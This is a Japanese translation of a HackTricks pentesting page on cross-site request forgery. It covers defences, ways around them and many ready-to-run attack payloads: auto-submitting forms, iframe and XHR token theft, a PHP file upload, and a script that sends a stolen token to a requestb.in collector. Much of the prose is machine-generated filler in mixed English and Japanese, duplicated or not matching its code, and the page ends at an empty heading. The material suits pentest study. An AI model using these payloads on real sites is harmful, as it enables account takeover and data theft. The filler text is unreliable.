hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

53 KiB
Raw Blame History

CSRFクロスサイトリクエストフォージェリ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProofはすべての暗号バグバウンティのホームです。

遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。

Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のWeb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップしてハッキングから収益を得ましょう!

{% embed url="https://hackenproof.com/register" %}

CSRFとは

クロスサイトリクエストフォージェリCSRFとも呼ばれるは、攻撃者がユーザーに意図しないアクションを実行させることができるウェブセキュリティの脆弱性です。
これは、ログインしているユーザーが攻撃者が制御するウェブサイトにアクセスし、そこから悪意のあるJSコードを実行したり、フォームを送信したり、"画像"を被害者のアカウントに取得することで行われます。

必要条件

CSRFの脆弱性を悪用するためには、まず悪用する重要なアクションを見つける必要があります(パスワードやメールアドレスの変更、被害者をソーシャルネットワークでフォローさせる、より多くの特権を与えるなど)。セッションはクッキーまたはHTTPベーシック認証ヘッダーにのみ依存する必要があり、他のヘッダーはセッションの処理に使用できません。そして、リクエストに予測不可能なパラメーターがない必要があります。

この脆弱性を回避するためには、いくつかの対策が取られる場合があります。

一般的な防御策

  • SameSiteクッキー:セッションクッキーがこのフラグを使用している場合、任意のウェブサイトからクッキーを送信できない場合があります。
  • クロスオリジンリソース共有関連するアクションを悪用するために実行する必要があるHTTPリクエストの種類に応じて、被害者サイトのCORSポリシーを考慮する必要があります。CORSポリシーは、単にGETリクエストまたはフォームからのPOSTリクエストを送信し、応答を読み取る必要がない場合には影響しません。
  • パスワードユーザーにアクションを許可するように要求する。
  • キャプチャを解決する
  • リファラまたはオリジンヘッダーを読み取る。正規表現が使用されている場合、次のようにバイパスできます:
  • http://mal.net?orig=http://example.comURLで終わる
  • http://example.com.mal.netURLで始まる
  • POSTまたはGETリクエストのパラメーターの名前変更する
  • 各セッションでCSRFトークンを使用する。このトークンは、アクションを確認するためにリクエスト内で送信する必要があります。このトークンはCORSで保護される場合があります。

CSRFマップ

防御バイパス

POSTからGETへ

悪用したいフォームがCSRFトークンを使用してPOSTリクエストを送信する準備ができているかどうかを確認する必要がありますが、GET有効であり、GETリクエストを送信するときにCSRFトークンが引き続き検証されているかどうかを確認する必要があります。

トークンの欠如

一部のアプリケーションは、トークンが存在する場合に正しくトークンを検証しますが、トークンが欠落している場合には検証をスキップします。
この状況では、攻撃者はトークンを含むパラメーター全体を値だけでなく削除して検証をバイパスし、CSRF攻撃を実行することができます。

CSRFトークンがユーザーセッションに関連付けられていない

一部のアプリケーションは、リクエストを行っているユーザーと同じセッションにトークンが属していることを検証しない場合があります。代わりに、アプリケーションは発行したトークンのグローバルプールを維持し、このプールに表示されるトークンを受け入れます。
この状況では、攻撃者は自分のアカウントを使用してアプリケーションにログインし、有効なトークンを取得し、そのトークンをCSRF攻撃の被害者ユーザーに提供することができ

カスタムヘッダートークンのバイパス

もしリクエストがCSRF保護手法としてトークンを含むカスタムヘッダーを追加している場合、以下の手順を実行します:

  • カスタムトークンとヘッダーを含まない状態でリクエストをテストします。
  • 同じ長さですが異なるトークンを使用してリクエストをテストします。

CSRFトークンはクッキーによって検証されます

前述の脆弱性のさらなるバリエーションとして、一部のアプリケーションはクッキーとリクエストパラメーターの両方に同じトークンを複製します。または、CSRFクッキーを設定し、バックエンドでクッキーに関連付けられたCSRFトークンが送信されたトークンと一致するかどうかをチェックします。

次のリクエストが検証される際、アプリケーションは単純にリクエストパラメーターに送信されたトークンがクッキーに保存された値と一致するかどうかを確認します。
この状況では、攻撃者は再びCSRF攻撃を実行することができます。攻撃者は、犠牲者にCSRFクッキーを設定することができる脆弱性がウェブサイトに存在する場合、CRLFのような形で攻撃を行うことができます。

この場合、偽の画像を読み込むことを試みてクッキーを設定し、次に次の例のようにCSRF攻撃を実行することができます

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

{% hint style="info" %} 注意してください。csrfトークンがセッションクッキーに関連付けられている場合、この攻撃は機能しません。なぜなら、被害者に自分のセッションを設定する必要があり、したがって自分自身を攻撃することになるからです。 {% endhint %}

Content-Typeの変更

こちらによると、プリフライトを回避するために、POSTメソッドを使用する場合、次のContent-Typeの値が許可されています。

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

ただし、使用するContent-Typeによっては、サーバーのロジックが異なる場合があるため、上記の値や**application/jsontext/xmlapplication/xml**などの他の値も試してみる必要があります。

以下は、JSONデータをtext/plainとして送信する例こちらから引用)です。

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

application/json preflight request bypass

既にご存知の通り、HTMLフォームを介してContent-Typeが**application/jsonのPOSTリクエストを送信することはできません。また、XMLHttpRequestを使用しても、最初にプリフライト**リクエストが送信されます。
ただし、バックエンドがContent-Typeに関係なくデータを使用しているかどうかを確認するために、JSONデータをcontent types text/plain および application/x-www-form-urlencoded を使用して送信することができます。
Content-Type: text/plainを使用してフォームを送信することができます。

サーバーがコンテンツタイプ "application/json" のみを受け入れる場合、プリフライトリクエストをトリガーせずにコンテンツタイプ "text/plain; application/json" を送信することができます。

また、SWFフラッシュファイルを使用してこの制限をバイパスすることもできます。詳細については、この投稿を参照してください。

Referrer / Origin check bypass

Refererヘッダーを回避する

一部のアプリケーションでは、リクエストにRefererヘッダーが存在する場合にのみ検証を行いますが、ヘッダーが省略された場合は検証をスキップします。

<meta name="referrer" content="never">

正規表現のバイパス

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Referrerがパラメータ内で送信するURLのサーバーのドメイン名を設定するには、次のようにします

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

HEADメソッドのバイパス

このCTFの解説の最初の部分では、Oakのソースコードで、ルーターがHEADリクエストをGETリクエストとして処理し、レスポンスボディはないと説明されています。これはOakに限らず、一般的な回避策です。HEADリクエストに特定のハンドラーを割り当てるのではなく、単にGETハンドラーに渡され、アプリケーションはレスポンスボディを削除するだけです。

したがって、GETリクエストが制限されている場合、GETリクエストとして処理されるHEADリクエストを送信することができます。

攻撃例

CSRFトークンの外部流出

もしCSRFトークン防御手段として使用されている場合、XSSの脆弱性やDangling Markupの脆弱性を悪用してトークンを外部に流出させることができます。

HTMLタグを使用したGETリクエスト

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

他のHTML5タグを使用して自動的にGETリクエストを送信することもできます。

フォームのGETリクエスト

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

フォームのPOSTリクエスト

To perform a Cross-Site Request Forgery (CSRF) attack, an attacker can create a malicious HTML page that includes a form with a POST method. This form is designed to submit data to a target website without the user's knowledge or consent.

To execute the attack, the attacker tricks the victim into visiting the malicious page. When the victim loads the page, the form is automatically submitted, sending the data to the target website. Since the victim is already authenticated on the target website, the server processes the request as if it came from the victim.

The attacker can use this technique to perform various malicious actions, such as changing the victim's account settings, making unauthorized purchases, or even deleting data.

To protect against CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, checking the Referer header, and implementing strict access controls. Additionally, users should be cautious when clicking on unfamiliar links or visiting suspicious websites to minimize the risk of falling victim to CSRF attacks.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

iframeを通じたフォームのPOSTリクエスト

An attacker can exploit Cross-Site Request Forgery (CSRF) vulnerabilities by tricking a victim into submitting a malicious form through an iframe. This technique is commonly used to perform unauthorized actions on behalf of the victim without their knowledge.

To execute this attack, the attacker crafts a webpage containing an iframe that loads a target website vulnerable to CSRF. The iframe is then hidden from the victim's view using CSS. The attacker also includes a form within the iframe, pre-filled with the necessary data to perform the malicious action.

When the victim visits the attacker's webpage, the hidden iframe automatically submits the form to the target website, triggering the CSRF attack. Since the victim is already authenticated on the target website, the request appears legitimate, and the action is executed without any further user interaction.

To protect against this attack, web developers should implement measures such as CSRF tokens, which are unique and unpredictable values embedded within forms. These tokens are validated on the server-side to ensure that the request originated from a legitimate source.

iframeを介したフォームのPOSTリクエスト

攻撃者は、iframeを介して被害者に悪意のあるフォームを送信させることで、クロスサイトリクエストフォージェリCSRFの脆弱性を悪用することができます。この技術は、被害者の知識なしに被害者の代わりに権限のない操作を実行するためによく使用されます。

この攻撃を実行するために、攻撃者はCSRFの脆弱性があるターゲットウェブサイトを読み込むiframeを含むウェブページを作成します。iframeはCSSを使用して被害者の視界から隠されます。攻撃者はまた、iframe内に必要なデータで事前に入力されたフォームも含めます。

被害者が攻撃者のウェブページを訪れると、隠されたiframeは自動的にフォームをターゲットウェブサイトに送信し、CSRF攻撃がトリガーされます。被害者は既にターゲットウェブサイトで認証されているため、リクエストは正当なものと見なされ、ユーザーのさらなる操作なしにアクションが実行されます。

この攻撃から保護するために、ウェブ開発者はCSRFトークンなどの対策を実装する必要があります。CSRFトークンは、フォーム内に埋め込まれた一意かつ予測不可能な値です。これらのトークンはサーバーサイドで検証され、リクエストが正当なソースから発信されたものであることを確認します。

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST リクエスト

Ajax POST リクエストは、クライアントがサーバーにデータを送信するための非同期通信メカニズムです。このリクエストは、Webアプリケーションの機能を拡張するために使用されます。

以下は、Ajax POST リクエストの基本的な構文です。

$.ajax({
    url: '/endpoint',
    type: 'POST',
    data: {
        param1: 'value1',
        param2: 'value2'
    },
    success: function(response) {
        // リクエストが成功した場合の処理
    },
    error: function(xhr, status, error) {
        // リクエストが失敗した場合の処理
    }
});

この例では、/endpoint というエンドポイントに対して、POST メソッドでデータを送信しています。data パラメータには、送信するデータをオブジェクト形式で指定します。

成功した場合は、success コールバック関数が呼び出され、レスポンスデータが引数として渡されます。失敗した場合は、error コールバック関数が呼び出され、エラー情報が引数として渡されます。

Ajax POST リクエストは、CSRFクロスサイトリクエストフォージェリ攻撃に対して脆弱性を持つことがあります。この攻撃では、攻撃者が被害者の代わりに意図しないリクエストを送信することができます。

この脆弱性を防ぐためには、適切なCSRFトークンを使用する必要があります。CSRFトークンは、サーバーが生成し、クライアントがリクエストと一緒に送信する必要があります。サーバーは、リクエストが有効かどうかをトークンを使用して検証します。

CSRFトークンを実装する方法は、フレームワークやライブラリによって異なりますが、一般的には以下の手順に従います。

  1. サーバーは、セッションごとに一意のCSRFトークンを生成します。
  2. サーバーは、生成されたトークンをクライアントに送信します。
  3. クライアントは、Ajax POST リクエストのデータにトークンを含めます。
  4. サーバーは、リクエストを受け取った際にトークンを検証し、有効なリクエストかどうかを判断します。

このようにすることで、CSRF攻撃を防ぐことができます。

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST リクエスト

When submitting a form with file uploads, the multipart/form-data content type is used in the POST request. This content type allows the form data to be sent as a series of parts, each containing a separate field and its corresponding value.

ファイルのアップロードを含むフォームを送信する際には、POST リクエストで multipart/form-data コンテンツタイプが使用されます。このコンテンツタイプでは、フォームデータが個別のフィールドとその対応する値を含む一連のパートとして送信されます。

Each part in the request body is separated by a boundary, which is a unique string that does not appear in the data. The boundary is specified in the Content-Type header of the request.

リクエストボディ内の各パートは、データには表示されない一意の文字列であるバウンダリによって区切られます。バウンダリは、リクエストの Content-Type ヘッダで指定されます。

Each part consists of a header and a body. The header contains metadata about the part, such as the field name and the filename (if applicable). The body contains the actual data of the field.

各パートはヘッダとボディで構成されます。ヘッダには、フィールド名やファイル名(該当する場合)など、パートに関するメタデータが含まれます。ボディには、フィールドの実際のデータが含まれます。

To construct a multipart/form-data POST request, you need to set the Content-Type header to multipart/form-data and include the appropriate boundary. Each part is then formatted as follows:

multipart/form-data POST リクエストを構築するには、Content-Type ヘッダを multipart/form-data に設定し、適切なバウンダリを含める必要があります。各パートは次のようにフォーマットされます。

--boundary
Content-Disposition: form-data; name="field_name"; filename="file_name"
Content-Type: file_type

field_data
--boundary--

Here, boundary is the specified boundary string, field_name is the name of the field, file_name is the name of the file (if applicable), file_type is the MIME type of the file, and field_data is the actual data of the field.

ここで、boundary は指定されたバウンダリ文字列、field_name はフィールドの名前、file_name はファイルの名前(該当する場合)、file_type はファイルの MIME タイプ、field_data はフィールドの実際のデータです。

By understanding the structure of a multipart/form-data POST request, you can effectively analyze and manipulate form data during penetration testing or other security assessments.

multipart/form-data POST リクエストの構造を理解することで、ペネトレーションテストや他のセキュリティ評価中にフォームデータを効果的に分析および操作することができます。

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST リクエスト v2

In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request.

Overview

A multipart/form-data POST request is commonly used to upload files or submit form data that includes binary content. This type of request consists of multiple parts, each containing a separate piece of data.

Steps

  1. Identify the target: Choose the website or application you want to target for the CSRF attack.

  2. Analyze the target: Understand the target's functionality and identify any forms or actions that can be exploited.

  3. Create the malicious payload: Craft a malicious HTML page or script that will execute the CSRF attack. This payload should include a form with the necessary fields to perform the desired action on the target.

  4. Prepare the multipart/form-data request: Use a tool like Burp Suite or cURL to capture a legitimate multipart/form-data POST request from the target application. Modify the request to include the necessary fields and values from your malicious payload.

  5. Test the attack: Send the modified request to the target application and observe the result. If successful, the target will perform the desired action without the user's consent.

Example

Let's say we have a target website that allows users to change their email address by submitting a form. The form includes two fields: "email" and "csrf_token".

To perform a CSRF attack, we can create a malicious payload that includes a form with the following fields:

<form action="https://target-website.com/change-email" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="email" value="attacker@example.com">
  <input type="hidden" name="csrf_token" value="malicious-csrf-token">
  <input type="submit" value="Change Email">
</form>

The "email" field is set to the attacker's email address, and the "csrf_token" field is set to a malicious CSRF token.

By capturing a legitimate multipart/form-data POST request from the target application and modifying it to include the fields from our malicious payload, we can trick the target into changing the user's email address without their consent.

Mitigation

To protect against CSRF attacks using multipart/form-data POST requests, consider implementing the following measures:

  • Use anti-CSRF tokens: Include a unique token in each form submission and verify it on the server-side to ensure that the request is legitimate.

  • Implement SameSite cookies: Set the SameSite attribute to "Strict" or "Lax" for cookies to prevent them from being sent in cross-site requests.

  • Implement CSRF protection frameworks: Utilize frameworks like Django's CSRF protection or OWASP's CSRFGuard to add an extra layer of security against CSRF attacks.

By implementing these measures, you can significantly reduce the risk of CSRF attacks on your web application.

var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

iframe 内からのフォーム POST リクエスト

When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack when the form is submitted from within an iframe.

HTML フォームが送信されると、ブラウザは指定された URL に POST リクエストを送信します。この動作は、フォームが iframe 内から送信された場合に、クロスサイトリクエストフォージェリCSRF攻撃で悪用される可能性があります。

To perform a CSRF attack using an iframe, an attacker can create a webpage with an iframe that loads the target website's form. The attacker can then use JavaScript to automatically submit the form without the user's knowledge.

iframe を使用して CSRF 攻撃を実行するには、攻撃者はターゲットのウェブサイトのフォームを読み込む iframe を含むウェブページを作成します。攻撃者はその後、ユーザーの知識を持たずに JavaScript を使用してフォームを自動的に送信することができます。

This attack works because the browser includes the user's session cookies in the POST request, allowing the attacker to impersonate the user and perform actions on their behalf.

この攻撃は、ブラウザが POST リクエストにユーザーのセッションクッキーを含めるため、攻撃者がユーザーをなりすまし、その代わりに操作を行うことができるために機能します。

To protect against CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, validating the referrer header, and implementing strict access controls.

CSRF 攻撃に対抗するために、ウェブ開発者は、アンチ-CSRF トークンの使用、リファラーヘッダーの検証、厳格なアクセス制御の実装などの対策を実施する必要があります。

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

CSRFトークンを盗み、POSTリクエストを送信する

To perform a CSRF attack, you need to steal the CSRF token from the target website and then use it to craft a malicious POST request. Here's how you can do it:

  1. Stealing the CSRF Token: The CSRF token is typically embedded in the HTML of the target website. You can use various techniques like cross-site scripting (XSS) or social engineering to trick the victim into executing a script that extracts the CSRF token. Once you have the token, store it for later use.

  2. Crafting the Malicious POST Request: With the stolen CSRF token, you can now craft a POST request to perform the desired action on the target website. Make sure to include all the necessary parameters and values required by the target website's form. The CSRF token should be included as a parameter in the request body or as a custom header, depending on how the website handles CSRF protection.

  3. Sending the POST Request: Once you have crafted the malicious POST request, you can send it to the target website. This can be done using various tools like cURL, Python requests library, or browser extensions like Postman. Make sure to set the appropriate headers and cookies to mimic a legitimate request.

By stealing the CSRF token and sending a crafted POST request, you can trick the target website into performing actions on behalf of the victim without their consent. This can lead to various security vulnerabilities, such as unauthorized data modification or account takeover. It is important for website developers to implement proper CSRF protection mechanisms to mitigate such attacks.

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

CSRFトークンを盗み、iframe、フォーム、およびAjaxを使用してPOSTリクエストを送信する

CSRFCross-Site Request Forgery攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信する攻撃手法です。この攻撃を行うためには、被害者のセッションに関連付けられたCSRFトークンを盗む必要があります。

以下の手順を使用して、CSRFトークンを盗み、それを使用してPOSTリクエストを送信する方法を説明します。

  1. 攻撃者は、悪意のあるウェブサイトにiframeを埋め込みます。このiframeは、被害者のブラウザで自動的に読み込まれます。
<iframe src="http://attacker.com/csrf" style="display:none;"></iframe>
  1. 攻撃者のウェブサイト(http://attacker.com/csrfでは、被害者のブラウザで実行されるJavaScriptを用意します。このJavaScriptは、被害者のセッションからCSRFトークンを盗みます
<script>
    var token = document.getElementsByName('csrf_token')[0].value;
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://victim.com/profile', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('name=Attacker&csrf_token=' + token);
</script>
  1. 攻撃者は、被害者にリンクやメールなどを送り、被害者が攻撃者のウェブサイトを訪れるよう誘導します。

  2. 被害者が攻撃者のウェブサイトを訪れると、iframeが読み込まれ、JavaScriptが実行されます。これにより、被害者のセッションからCSRFトークンが盗まれ、攻撃者のウェブサイトからPOSTリクエストが送信されます。

以上の手法を使用することで、攻撃者は被害者のセッションを乗っ取り、意図しないリクエストを送信することができます。被害者は、信頼できるウェブサイトにログインしている場合でも、この攻撃に対して脆弱です。

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

CSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信する

CSRFCross-Site Request Forgery攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信する攻撃手法です。この攻撃を行うためには、被害者のセッションに関連付けられたCSRFトークンを盗む必要があります。

以下の手順でCSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信することができます。

  1. 攻撃者は、悪意のあるウェブサイトを作成します。このウェブサイトには、攻撃者が制御するサーバーにPOSTリクエストを送信するためのフォームが含まれています。

  2. 攻撃者は、被害者を誘導して悪意のあるウェブサイトを訪れさせます。被害者がこのウェブサイトを訪れると、攻撃者のサーバーに対してPOSTリクエストが送信されます。

  3. 攻撃者のサーバーは、被害者のセッションに関連付けられたCSRFトークンを盗みます。これにより、攻撃者は被害者のセッションをなりすまし、意図しないリクエストを送信することができます。

  4. 攻撃者のサーバーは、盗んだCSRFトークンを使用して、被害者のセッションに対して意図しないPOSTリクエストを送信します。これにより、攻撃者は被害者のアカウントに不正な操作を行うことができます。

この攻撃手法を防ぐためには、ウェブアプリケーションはCSRFトークンを使用し、リクエストの正当性を検証する必要があります。また、ユーザーに対して悪意のあるウェブサイトへのアクセスに注意するように啓発することも重要です。

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

トークンを盗み、2つのiframeを使用して送信する

In this technique, we will exploit a Cross-Site Request Forgery (CSRF) vulnerability to steal a user's token and send it to an attacker-controlled server using two iframes.

この技術では、Cross-Site Request ForgeryCSRFの脆弱性を悪用して、ユーザーのトークンを盗み、2つのiframeを使用して攻撃者が制御するサーバーに送信します。

First, we need to identify a vulnerable website that is susceptible to CSRF attacks. Once we have found a target, we can proceed with the following steps:

まず、CSRF攻撃の影響を受けやすい脆弱なウェブサイトを特定する必要があります。ターゲットを見つけたら、以下の手順を実行します。

  1. Create an HTML page that contains two iframes. The first iframe will load the target website, and the second iframe will load an attacker-controlled page.

    1. 2つのiframeを含むHTMLページを作成します。最初のiframeはターゲットのウェブサイトを読み込み、2番目のiframeは攻撃者が制御するページを読み込みます。
  2. In the attacker-controlled page loaded in the second iframe, include JavaScript code that will extract the user's token from the target website.

    1. 2番目のiframeで読み込まれる攻撃者が制御するページに、JavaScriptコードを含めます。このコードは、ターゲットのウェブサイトからユーザーのトークンを抽出します。
  3. Once the token is extracted, use JavaScript to send it to the attacker-controlled server using an HTTP request.

    1. トークンが抽出されたら、JavaScriptを使用してHTTPリクエストを介してそれを攻撃者が制御するサーバーに送信します。
  4. The attacker-controlled server can then store the stolen tokens for further exploitation or perform actions on behalf of the user.

    1. 攻撃者が制御するサーバーは、盗まれたトークンをさらなる悪用のために保存したり、ユーザーの代わりにアクションを実行したりすることができます。

By using this technique, an attacker can trick a user into performing unintended actions on a vulnerable website, leading to potential data breaches or unauthorized operations.

この技術を使用することで、攻撃者は脆弱なウェブサイト上で意図しないアクションを実行させることができ、潜在的なデータ漏洩や不正な操作が発生する可能性があります。

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

Ajaxを使用してCSRFトークンを盗み、フォームでPOSTリクエストを送信する

To perform a Cross-Site Request Forgery (CSRF) attack, you can use Ajax to steal the CSRF token and then send a POST request using a form.

CSRF attacks exploit the trust that a website has in a user's browser. By tricking the browser into making a request on behalf of the user, an attacker can perform actions without the user's knowledge or consent.

Here's how you can steal the CSRF token using Ajax and send a POST request with a form:

  1. Use Ajax to make a GET request to the target website's page that contains the CSRF token. This can be done using JavaScript's XMLHttpRequest or jQuery's $.ajax function.

  2. Parse the response from the GET request to extract the CSRF token. This can be done by using regular expressions or by parsing the HTML response.

  3. Create a new HTML form element dynamically using JavaScript. Set the action attribute of the form to the target URL where the POST request should be sent.

  4. Add hidden input fields to the form, including the stolen CSRF token. These hidden fields should have the same names as the expected form fields on the target website.

  5. Append the form to the document body.

  6. Submit the form programmatically using JavaScript's submit method.

By following these steps, you can steal the CSRF token using Ajax and send a POST request with a form, effectively performing a CSRF attack. It is important to note that CSRF attacks can have serious consequences, so it is crucial to implement proper security measures to prevent them.

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

Socket.IOを使用したCSRF

